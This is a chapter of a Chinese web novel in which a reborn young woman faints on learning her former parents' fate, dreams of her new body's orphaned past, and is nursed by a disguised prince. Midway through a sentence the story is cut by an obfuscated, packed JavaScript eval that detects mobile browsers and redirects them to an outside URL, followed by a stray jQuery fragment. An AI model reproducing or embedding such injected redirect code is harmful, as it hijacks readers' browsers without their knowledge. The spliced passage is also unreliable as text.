赵楚章与这个张楚昭,是不是有什么关联?
赵蘑菇眸光深深,元寄明如今乃是老首辅张正山的女婿,张正山虽已致仕,可其一生浸淫权势,在朝势力根盘错节,不容小觑。
倘若能与元寄明交好,对他百利而无一害。
赵蘑菇的目光从信纸上收回眼,将这信纸放到烛间烧了个干净。
·
三日后,赵楚章终于舍得出门,一大早步履匆匆出门去了。
等到快午时的时候才回来,回来时脸色笑意吟吟的,嘴中哼着小曲,手中提了许多物件,显然心情很愉快。
用午膳的时候,赵楚章十分欢喜地和赵蘑菇说了今日发生的事。
说她将自己的绣的作品卖了,换了一两银子。
她本只想收取一钱银,可对方却偏要给她一两银子,还说她的作品好看,又另外给她付了二两银子作定金,再向她订十个荷包。
难怪今日她心情好,原来是靠刺绣赚了钱。
赵蘑菇静静听着,一边埋头吃饭。
倒是等饭快吃完的时候,赵蘑菇冷不丁道:“我记得京郊有家绣坊叫瑞福绣庄,倒是和你刺绣的方式差不多。”
这话一出,赵楚章浑身竟是一颤,漂亮的眸子中盛满了震色。
她怔怔地看着他,许久才颤声道:“你……你知道瑞福绣庄?”
赵蘑菇一边观察着她的脸色,一边道:“当然知道。瑞福绣庄的掌柜张员外,在多年前痛失爱女后,便病得一蹶不振,没过两年便病逝了。”
“他夫人连续痛失爱女,又没了丈夫,郁郁寡欢,很快也跟着走了。”
“瑞福绣庄最具代表的盘金绣,逐渐式微,没过几年也失传了。”
“没想到如今竟在你手中又复现了,倒是让我开了眼界。”
赵楚章心底大恸,竟浑身颤抖不停,不断落下大颗眼泪。
赵蘑菇被她的反应惊到了,他站起身来:“你这是怎么了?”
可赵楚章是一个字都说不出了,她脑子发懵,只觉有一阵大过一阵的痛意,不断攻击她的心脏。
她脸色惨白地甩开赵蘑菇的手,像是失了魂魄一般狼狈起身,踉踉跄跄地转身回了房间里,眸光空洞。
赵蘑菇看着赵楚章凄惨的背影,若有所思。
也许她真是张楚昭的生女也说不定。
算算日子,张楚昭死在十二年前,而这赵楚章马上便要十四岁。
而且他们的名字也值得玩味,张楚昭,赵楚章,似乎隐约有些关联……
只是他不太确定,赵楚章会是元寄明和张楚昭的女儿,还是张楚昭和外男所生的女儿?
算了,日后再慢慢调查便是。
若她当真是元寄明的女儿,那便是一枚极好的棋子,将她留在身边最好不过……
赵蘑菇计算着心思,赵楚章则在房中难受得快要死了。
她从未想过,自己上一世被人毒死后,竟间接害得自己的双亲也跟着惨死。
她悲痛入骨,连带着脑袋都开始疼了。
细细密密的痛意不断从她的脑袋深处弥漫而出,好像要将她彻底吞噬。
赵楚章眼前一黑,竟是昏死了过去。
她做了一个冗长的梦。
在梦里,她变成了年幼的赵楚章。
三四岁的孩子,正无力地躺在一个逼仄的房间里,面前有一男一女在大声吵架。
男子长得儒雅,女子模样则无比娇媚,只可惜身上穿着十分寒酸,衬得她的美貌也带上几分寒酸。
女子红着眼哭道:“孩子病得这样重,你却连赚些银子给孩子治病的能力都没有!赵望风,你为何如此无能!”
被称赵望风的男子哑声道:“珠儿,你信我,我能治好章儿的病,只是现在闹饥荒,郊外别说是药草,就连草皮都没了……”
珠儿却愈加狂躁,漂亮的眉眼因愤怒而变得扭曲:“你总是这样伪善,昨日好不容易摘到的几株连翘,你为何要给了别人?在你心里,永远是旁人比自己的妻儿重要!”
赵望风颤声道:“那老妪高烧得厉害,若是不及时用药,会死的……”
父亲的声音淹没在母亲的歇斯底里中:“那你的女儿呢?你的女儿便不会死吗!”
珠儿双眸发红,弥漫出浓烈的恨意:“我们和离吧,我会带孩子离开。赵望风,我已经受够了。”
……
画面一转。
变成了深夜。
母亲珠儿紧紧地抱着赵楚章,在她耳边唱着安眠曲。
赵楚章紧紧握住她的衣袖,奶声奶气地问她:“娘亲,你会离开我吗?”
珠儿一下一下抚过赵楚章瘦削的脊背,含着泪水柔声道:“娘亲不会离开你,永远不会。”
赵楚章更紧地抱住她:“可是,他们都说你要走了。”
珠儿柔声道:“娘亲会永远和章儿在一起,永远不分开。”
赵楚章高兴极了,躺在珠儿的臂弯里沉沉地睡去,连睡梦时嘴角都带着一丝甜甜的笑意。
……
画面又变了。
有整整一排的豪华马车,停在了破败的家宅面前。
有无数身着华丽的贵人们,从马车上鱼贯而下,闯入家宅前,恭迎母亲。
为首的嬷嬷穿着贵气,见到母亲便落下泪来:“小姐,八年了,老身总算寻到您了。”
那些贵气逼人的奴仆们,纷纷红了眼睛,簇拥着母亲,喊她小姐。
而四岁的赵楚章,被父亲护在身后,父女两站在角落里,只是静静地看着。
赵楚章迷茫极了,不明白这些人要将她的母亲接去哪里。
她想冲上去,冲到母亲的怀中,如往常那般扑到她的怀里。
可父亲却紧紧地拉住她,捂住了她的嘴唇。
于是,她便只能眼睁睁看着母亲上了马车。
车帘上绣着精致繁复的八仙过海,母亲透过车帘红着眼睛看着赵楚章,眼角落下了绵延的泪。
她对着赵楚章,嘴中轻声说了一句话,可相隔得太远了,赵楚章听不真切。
母亲咬了咬牙,提着车帘的手终究缓缓下落,将彼此隔成两个世界。
马车浩荡前行,父亲身体踉跄,终于放开了她。
赵楚章飞奔上前,冲着马车飞奔而去,哭着大喊母亲,一声一声,宛若啼血。
可马车窗帘微动,母亲终究没有回头看她一眼。
……
极致的绝望就像海啸般朝赵楚章扑来,快要将她吞没。
她已经分不清自己究竟是张楚昭还是赵楚章,更分不清眼前是梦境还是现实。
似乎她真的成了当年的赵楚章,眼睁睁看着母亲与她不告而别,而她用尽全力想要挽留,却没换来母亲的最后一眼。
为什么能这样心狠呢?
不是说她这一生都不会离开她吗?
可她却这样狠心,连最后一面都不愿见她。
从那之后,她成了没有母亲的孩子。
被邻里的同伴嘲笑,被作恶的少年欺凌。
父亲带着她离开了那座破败的小宅。
父女二人磕磕碰碰,继续南下,最终来到了盛州的小叶村。
而父亲,似乎也已经成长。
他不会再胡乱同情别人,摘了药材后不会再心软让渡给别人,而是全都用来卖了换银子。
父亲是个儒雅的人,自从母亲走后,他几乎用尽全部力气照顾赵楚章。
父女二人在小叶村相依为命长大。
时光缓缓度过,父亲每日都带着她上山,辨认药草,教她药理知识。
赵楚章逐渐忘却了母亲的离开,全心全意依赖着自己的父亲。
可在她八岁那年。
那一年的夏天,雨水特别多。
又有一日,狂风不歇,暴雨不停。
赵楚章前一日在山中淋了雨,染了风寒。
父亲为了多赚些银钱,又入山采摘药材,想要多换些碎银,在家中囤些药草。
可那一日,父亲上午出门后,再也没有回来。
天色越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405676|184450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来越黑,赵楚章越来越怕。
那一夜,她上山去,漫山遍野地喊着父亲的名字。
最终在一片泥石中寻到了父亲的尸首。
飓风过境,山上落石,将父亲生生砸死了。
八岁的赵楚章,守着父亲的尸身呆呆地坐了一夜。
可她没有哭,而是茫然地看着前方,也不知在想些什么。
等到东方升起第一缕亮光,赵楚章在附近寻了块好地,就近挖了个坑,将父亲草草下葬。
在简陋的墓碑上亲手写上青涩的字体。
直到这一刻,她终于泪流满面。
她先无母后无父,她只剩她自己。
……
画面又开始扭曲。
眼前竟出现了阿毛的脸。
阿毛趁着赵楚章生病时,竟想玷污她。
赵楚章用尽力气避开,脑袋却重重磕到了桌角。
再无了声息。
阿毛吓得夺门而出,只留赵楚章的尸身躺在地上。
……
脑子更痛了。
赵楚章痛苦极了。
她嘴中啜泣道:“父亲,母亲……”
一声又一声。
赵蘑菇坐在赵楚章的床边,拧着眉看着她。嘴中的话却是和丰然说的:“都昏迷两日了,为何不醒?”
身侧的丰然也不解:“大夫说是受了太大的刺激所致,不知少主刺激她什么了?”
赵蘑菇想起自己对她说的话,抿紧了唇。
早知道她这样豆腐似的嫩弱,他便不与她说这些了。
她定是听到自己说起张楚昭十几年前就死了,才会如此。
看来张楚昭就是她的生母无疑,竟让她悲痛得晕了过去。
赵蘑菇有些懊悔自己说的太直接,竟将她刺激成这样。
见少主沉着脸,心情不悦,丰然急忙找补:“不过是个山野孤女罢了,少主无需为她忧心。属下已经按照您的吩咐放出烟雾弹了,于鹤的人被悉数引到了隔壁的横州。如今我们在此已经十分安全。这孤女已经没有利用价值,实在不值得少主为她操累。”
可话没说完,赵蘑菇发凉的目光就扫了过来。
丰然心中一惊,急忙半跪在地。
赵蘑菇声音冷凉:“是这孤女救了孤,怎么,如今孤救回来了,便可将她弃如敝屣吗?”
丰然额头冒出冷汗:“属下……属下并无此意,只是见殿下为了一个孤女忧愁,才……”
赵蘑菇哼了一声,他斜眼看向丰然腰带上系着的荷包。
迷灰色的绸料底,上面绣着精致的鹦鹉纹,相衬好看。
“拿过来。”
丰然愣了愣:“什么?”
直到看到自己主子的目光,正死死盯着自己腰际的……荷包。
丰然急忙摘下荷包,将荷包递给他。
赵蘑菇接过荷包:“照顾好她,若她不醒,你一刻都不准离开。”
扔下这句话,赵蘑菇走出了房间。
丰然有苦说不出,他只是想让主子不必如此紧张,哪知竟触到了他的逆鳞,惹得主子不快。
他看着床上昏迷的赵楚章,认命地煎药去了。
一直到第三天的晌午,赵楚章才幽幽醒了。
她睁着眼,觉得好生茫然。直到许久,才逐渐回过神来。
她的脑子总算不疼了,可心脏却很不舒服。
她大梦了一场,梦到自己竟成了真的赵楚章,经历了她的一生。
她回想起这恍若真实的梦境,想起母亲的生离,父亲的死别,便让她觉得心脏坠疼,几乎喘不过气。
她蜷缩在床上,觉得自己冷极了,将自己抱缩成一团。
赵蘑菇端着药汤进门,便见赵楚章红着眼睛坐在床榻上,凄楚可怜,温软的眉眼蓄着盈盈的泪。
看着实在是可怜。
赵蘑菇的动作顿了顿,才踏入门去,将药递到她嘴边。
“喝了。”
赵楚章抬眼看着他,眼睛湿漉漉的,就像沾了晨露似的。